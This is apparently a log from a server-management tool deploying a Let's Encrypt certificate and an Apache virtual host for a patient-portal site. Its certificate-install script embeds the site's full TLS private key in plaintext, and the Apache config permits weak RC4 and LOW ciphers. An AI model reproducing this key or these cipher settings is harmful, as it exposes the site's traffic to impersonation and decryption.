MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 8035060c9ed3fa6a173f4ccf42dc82d5
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d
2026-01-05 19:17:22: Establishing a connection
2026-01-05 19:17:22: Establishing a connection
2026-01-05 19:17:23:
PUT: /tmp/pkp112907
#!/bin/bash
if [ -d "/var/www/patientapps_portal/.well-known" ]; then
echo 1
else
echo 0
fi
2026-01-05 19:17:23:
chmod 755 /tmp/pkp112907; /tmp/pkp112907; rm /tmp/pkp112907
2026-01-05 19:17:23:
0
2026-01-05 19:17:48: Establishing a connection
2026-01-05 19:17:49:
PUT: /tmp/pkp330962
#!/bin/bash
temp_file=$(mktemp)
TARGET=3f85a328a3b4d0829fd0b0b311b3007b.crt
cat > $temp_file <<'endmsg'
3a:03:7c:cd:f9:ec:a9:e0:e5:7b:dd:07:de:15:09:dc
-----BEGIN CERTIFICATE-----
MIIFCjCCA/KgAwIBAgISBbAv8x+Szk6grbiF0ovGE7hvMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwMTA1MTgxOTE4WhcNMjYwNDA1MTgxOTE3WjAeMRwwGgYDVQQD
ExNwYWkucGF0aWVudGFwcHMubmV0MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEAsjwJVh4zCWM/hiiFJcosWbY/68hGtAJZ9JnxE8WG7KfowXJeSYp11P6/
QK0QEmVq2ce9+RNYiRJfl5VGbBN+BQKz7xcK2VRDIWwZDQ1tVb+4o7GmeZBUBJeF
4J5Pv6CQ4MjplTRxsGhkJyBA+K4LICTokP2HLB3HJAcl2qnb4xOrsiPp9tr6zMuO
kAro9jpglnVUX371zvY5H0PhZGmLs44ZI4Tm2UFzYhh0F4Y2F6+8J5v3whRMAEc4
htq5atHoCEBa2LWJkLf7Y/8OVt2CyGdICiB28JATYj0Zyo03hcr7ep90nqjwr9Ej
nwMObug3/7NnhUPtacEhKyhreHQENQIDAQABo4ICKzCCAicwDgYDVR0PAQH/BAQD
AgWgMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNVHRMBAf8EAjAA
MB0GA1UdDgQWBBSKIOg0KzkXC1OglXxhT8kKPnl4azAfBgNVHSMEGDAWgBTnq58P
LDOgU9NeT3jIsoQOO9aSMzAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0
dHA6Ly9yMTMuaS5sZW5jci5vcmcvMB4GA1UdEQQXMBWCE3BhaS5wYXRpZW50YXBw
cy5uZXQwEwYDVR0gBAwwCjAIBgZngQwBAgEwLwYDVR0fBCgwJjAkoCKgIIYeaHR0
cDovL3IxMy5jLmxlbmNyLm9yZy8xMTIuY3JsMIIBCwYKKwYBBAHWeQIEAgSB/ASB
+QD3AHYAFoMtq/CpJQ8P8DqlRf/Iv8gj0IdL9gQpJ/jnHzMT9foAAAGbj5gY0AAA
BAMARzBFAiEAzU8XXTM833I1YpqxgBpovg89XPHzcnqTPqVvXRf7vAQCIH/eBHZE
dVb0ZKYquE1opZvfvDwiTmJdBsAyQn+tdvkqAH0AcX6V88I4im2x44RJPTHhWqli
CHYtQgDgBQzQZ7WmYeIAAAGbj5gZWwAIAAAFAAYX1YIEAwBGMEQCIG3DxXT6Ouq5
ap6Xz0k90UuY7UbdUFPuUBRS4eA9fJC8AiBYbfcqFjJ6tZQ41/OkC6CNAx0FlaCJ
fSeSagxup4e8xDANBgkqhkiG9w0BAQsFAAOCAQEAUyHMvScnBatiJq8poOKPTQVf
l/9EHXYhzdOqwTW0YIhuh3UayM/UvI71H7tdFN8lRDCg0VRtv7gDCd1uJRGC714P
vvNkMXDq63D4B34FllWaT/sY97H1QMdAsPAzKCi2qCELXwV3KdNwnK1eJWXnjAXh
as281X9a/HcaldvKME8spVKVlOLS6zIxuHSBS2FcMaeEOGBiOdGDzUp94ivjAYvg
piJR+X9rMj4rx6Cbge7ZxTOQjkZhTQ6C9u/Pbfyc4heHvDsHx8DPQmcNAE8OqHuE
vgVlADIP3tZeRp6F3jbTuNO3UzquLKtK5ALkA0tV7VE5ZZEJiMcEVH4wH+HLtw==
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQCyPAlWHjMJYz+G
KIUlyixZtj/ryEa0Aln0mfETxYbsp+jBcl5JinXU/r9ArRASZWrZx735E1iJEl+X
lUZsE34FArPvFwrZVEMhbBkNDW1Vv7ijsaZ5kFQEl4Xgnk+/oJDgyOmVNHGwaGQn
IED4rgsgJOiQ/YcsHcckByXaqdvjE6uyI+n22vrMy46QCuj2OmCWdVRffvXO9jkf
Q+FkaYuzjhkjhObZQXNiGHQXhjYXr7wnm/fCFEwARziG2rlq0egIQFrYtYmQt/tj
/w5W3YLIZ0gKIHbwkBNiPRnKjTeFyvt6n3SeqPCv0SOfAw5u6Df/s2eFQ+1pwSEr
KGt4dAQ1AgMBAAECggEAA/zOAhjd3d6LEH+ruA/KFF28haaKVvnuNJDwQyoMglwz
CYcyAUEM1a2SyfMi9teKccsDR/d9DISWW1XkQ/G61q1uKPr9WYDz4qx3O0wGZBvM
dKI6VyswhyhX0VrgNylhrYku4lp1Fh0zNGpQYvIwJ/YEkkS0Etb0kT7+Q5kuQGoO
Z6yy3XyAyjhEsVzPszWCfCqWJ5JI4B0ZBE2BtCBtF3x5qYNuW/TfvhO8RWV5eKHq
xyKgzTwqJoThtMnnHJWB0w0D+NAhJmtOhbkjEC7Z31TBB6+9pZgYgCK3mZdhz55I
labe8xbo8GPF0k8a0zrbKlQjt9Z6Jn6JdhAdPCBIlwKBgQDxKF1H08E9oK/H3bdz
cduZkmS5f4LtEukzqb9RJ96dDeVDrwOzXExC8pm/W8df+8lY/ZgbNFuZIUtmcMUC
ZZJrEp7JinRX5wLpdJu30QGXnlloRdlkLwDe+lqLIf/IQhkYAjO+RNssPJk2AQeM
TCJTVZk7l9v9I43dHCCtTrRmMwKBgQC9NEQ5xO1eEGY+3EQ7qKZ3Z7+id6Wndo10
KPCAiWTE4h8chN0DQYdBtFc/hE4BhzLAtxuUpIAGGQ6puV20ZC8xCT04CmFTo5ED
Vp+Mt69JTcmeFyCqYxI/+eybAEd/7RbvBIgxE3ot4XQUA8MDt6ZPHOKtojgprCiS
vFTzdhHz9wKBgQCsjZI5K8YwP4KnQvjZzNUxjHMv25Il6gsc4U+4VQvPWrr59Ad0
1gznNklWh+gfwLxwRXwJsyv7ZLxbv0LoFR9wJ7GgScY3g18tBjfJje5Su4YDuz7y
lUNNSNtyhFBNzSXBbQnzEbe1bmK+JnxtIajJ8gyjfGR3O3JtjIvBFfi0ywKBgGC4
+nPJ30qp+YsDEYKqGceK6yWEItQ0P+X1E9Wx5yjbK+ppZY7Hjfyh08Rtv276jZCF
Sv03BxeW8a8ESwnv+UwJHBms/MpEINrjCpdmQ56mvH4r9pAEK403F6S5hNO6AXJZ
D8J+4YPY8H1W2vfoh4WED8GR30I2d1tkGc2IO29LAoGBAKOtKvZ6jlUIaGPUMdo5
5xbMM1b8Q8BgcdoDnIGAnFPoxmw2VsSpvktl0zpoEbqVPctur5YRKQ7Ha98Rwy6b
5YxhOKi111d2Rlc6oMWVQ99DxlMF+V05Z/5Yq4P1UeGQdYDfDu6qDa7p2rcdDrNq
P2UQob3+Wj7CHR0DSk+U9ROP
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
endmsg
chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
cp $temp_file /etc/pki/tls/certs/$TARGET
echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
cp $temp_file /etc/ssl/certs/$TARGET
echo dir=/etc/ssl/certs
else
echo dir=
fi
rm $temp_file
2026-01-05 19:17:49:
chmod 755 /tmp/pkp330962; /tmp/pkp330962; rm /tmp/pkp330962
2026-01-05 19:17:49:
dir=/etc/ssl/certs
2026-01-05 19:17:49:
PUT: /tmp/pkp288412
#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
if [ -f "$1" ]; then
FILESIZE=$(stat -c%s "$1")
echo $1 $FILESIZE >> $temp_file
cat $1 >> $temp_file
else
echo $1 0 >> $temp_file
fi
echo >> $temp_file
}
show_file "/etc/apache2/sites-enabled/patientapps_pai_net.conf"
gzip -cn9 $temp_file
rm $temp_file
2026-01-05 19:17:49:
chmod 755 /tmp/pkp288412; /tmp/pkp288412; rm /tmp/pkp288412
2026-01-05 19:17:49:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/patientapps_pai_net.conf 43
<VirtualHost *:80>
ServerName pai.patientapps.net
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/patientapps_portal/public
<Directory /var/www/patientapps_portal/public>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/patientapps/pai_access.log combined
ErrorLog /var/log/apache2/patientapps/pai_error.log
SetEnv pkp_uid 18
SetEnv pkp_owner sii
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
</VirtualHost>
<VirtualHost *:443>
ServerName pai.patientapps.net
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/3f85a328a3b4d0829fd0b0b311b3007b.crt
SetEnv SIMPLESAMLPHP_CONFIG_DIR /var/simplesamlphp/config
Alias /simplesaml /var/simplesamlphp/www
<Directory /var/simplesamlphp/www>
Require all granted
</Directory>
DocumentRoot /var/www/patientapps_portal/public
<Directory /var/www/patientapps_portal/public>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/patientapps/pai_secure_access.log combined
ErrorLog /var/log/apache2/patientapps/pai_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2026-01-05 19:17:49:
PUT: /tmp/pkp600844
#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=patientapps_pai_net.conf
TARGET=/etc/apache2/sites-enabled/patientapps_pai_net.conf
DOCROOT=-
PUBLIC=
cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
ServerName pai.patientapps.net
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/patientapps_portal/public
<Directory /var/www/patientapps_portal/public>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/patientapps/pai_access.log combined
ErrorLog /var/log/apache2/patientapps/pai_error.log
SetEnv pkp_uid 18
SetEnv pkp_owner sii
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
</VirtualHost>
<VirtualHost *:443>
ServerName pai.patientapps.net
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/3f85a328a3b4d0829fd0b0b311b3007b.crt
SetEnv SIMPLESAMLPHP_CONFIG_DIR /var/simplesamlphp/config
Alias /simplesaml /var/simplesamlphp/www
<Directory /var/simplesamlphp/www>
Require all granted
</Directory>
DocumentRoot /var/www/patientapps_portal/public
<Directory /var/www/patientapps_portal/public>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/patientapps/pai_secure_access.log combined
ErrorLog /var/log/apache2/patientapps/pai_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 644 $temp_file
cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
mkdir -p
mkdir -p $DOCROOT/$PUBLIC
chown -R : $DOCROOT
ln -s "..//etc/apache2/sites-enabled/patientapps_pai_net.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
echo 'link(/etc/apache2/sites-enabled/patientapps_pai_net.conf)= /etc/apache2//etc/apache2/sites-enabled/patientapps_pai_net.conf'
echo 'file(/etc/apache2//etc/apache2/sites-enabled/patientapps_pai_net.conf= 1'
fi
2026-01-05 19:17:49:
chmod 755 /tmp/pkp600844; /tmp/pkp600844; rm /tmp/pkp600844
2026-01-05 19:17:49:
2026-01-05 19:17:49:
PUT: /tmp/pkp599678
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl graceful
fi
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
export HOMEBREW_NO_INSTALL_FROM_API=1
brew services restart httpd
fi
echo .
2026-01-05 19:17:49:
chmod 755 /tmp/pkp599678; /tmp/pkp599678; rm /tmp/pkp599678
2026-01-05 19:17:49:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2026-01-05 19:17:49: Establishing a connection
2026-01-05 19:17:49:
PUT: /tmp/pkp602848
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl -S
fi
echo .
2026-01-05 19:17:49:
chmod 755 /tmp/pkp602848; /tmp/pkp602848; rm /tmp/pkp602848
2026-01-05 19:17:49:
VirtualHost configuration:
*:80 is a NameVirtualHost
default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:1)
alias myapp.care
port 80 namevhost condor.hostz.org (/etc/apache2/sites-enabled/hostz_condor_org.conf:2)
port 80 namevhost cn-dego.myapp.care (/etc/apache2/sites-enabled/myapp_cn-dego_care.conf:2)
alias www.cn-dego.myapp.care
port 80 namevhost d-oak.myapp.care (/etc/apache2/sites-enabled/myapp_d-oak_care.conf:2)
alias www.d-oak.myapp.care
port 80 namevhost ma1-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-acrp_care.conf:2)
alias www.ma1-acrp.myapp.care
port 80 namevhost ma1-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfr_care.conf:2)
alias www.ma1-anfr.myapp.care
port 80 namevhost ma1-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfu_care.conf:2)
port 80 namevhost ma1-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anin_care.conf:2)
alias www.ma1-anin.myapp.care
port 80 namevhost ma1-ankp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ankp_care.conf:2)
alias www.ma1-ankp.myapp.care
port 80 namevhost ma1-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anrp_care.conf:2)
alias www.ma1-anrp.myapp.care
port 80 namevhost ma1-arcr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-arcr_care.conf:2)
alias www.ma1-arcr.myapp.care
port 80 namevhost ma1-asst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-asst_care.conf:2)
alias www.ma1-asst.myapp.care
port 80 namevhost ma1-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-chel_care.conf:2)
alias www.ma1-chel.myapp.care
port 80 namevhost ma1-cybb.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-cybb_care.conf:2)
alias www.ma1-cybb.myapp.care
port 80 namevhost ma1-dego.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-dego_care.conf:2)
port 80 namevhost ma1-epas.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-epas_care.conf:2)
alias www.ma1-epas.myapp.care
port 80 namevhost ma1-fass.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-fass_care.conf:2)
alias www.ma1-fass.myapp.care
port 80 namevhost ma1-infp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-infp_care.conf:2)
port 80 AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
namevhost ma1-larn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-larn_care.conf:2)
port 80 namevhost ma1-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ldhr_care.conf:2)
alias www.ma1-ldhr.myapp.care
port 80 namevhost ma1-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-lsst_care.conf:2)
alias www.ma1-lsst.myapp.care
port 80 namevhost ma1-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mtfp_care.conf:2)
alias www.ma1-mtfp.myapp.care
port 80 namevhost ma1-mvrc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mvrc_care.conf:2)
alias www.ma1-mvrc.myapp.care
port 80 namevhost ma1-octf.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-octf_care.conf:2)
alias www.ma1-octf.myapp.care
port 80 namevhost ma1-osbp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-osbp_care.conf:1)
port 80 namevhost ma1-ovin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ovin_care.conf:2)
alias www.ma1-ovin.myapp.care
port 80 namevhost ma1-pfer.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-pfer_care.conf:2)
alias www.ma1-pfer.myapp.care
port 80 namevhost ma1-prls.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-prls_care.conf:2)
alias www.ma1-prls.myapp.care
port 80 namevhost ma1-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rcl.conf:1)
alias www.ma1-rcl.myapp.care
port 80 namevhost ma1-ropn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ropn_care.conf:2)
port 80 namevhost ma1-rorp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rorp_care.conf:2)
alias www.ma1-rorp.myapp.care
port 80 namevhost ma1-savr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-savr_care.conf:2)
alias www.ma1-savr.myapp.care
port 80 namevhost ma1-shem.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-shem_care.conf:2)
alias www.ma1-shem.myapp.care
port 80 namevhost ma1-sspr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-sspr_care.conf:2)
alias www.ma1-sspr.myapp.care
port 80 namevhost ma1-tosr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tosr_care.conf:2)
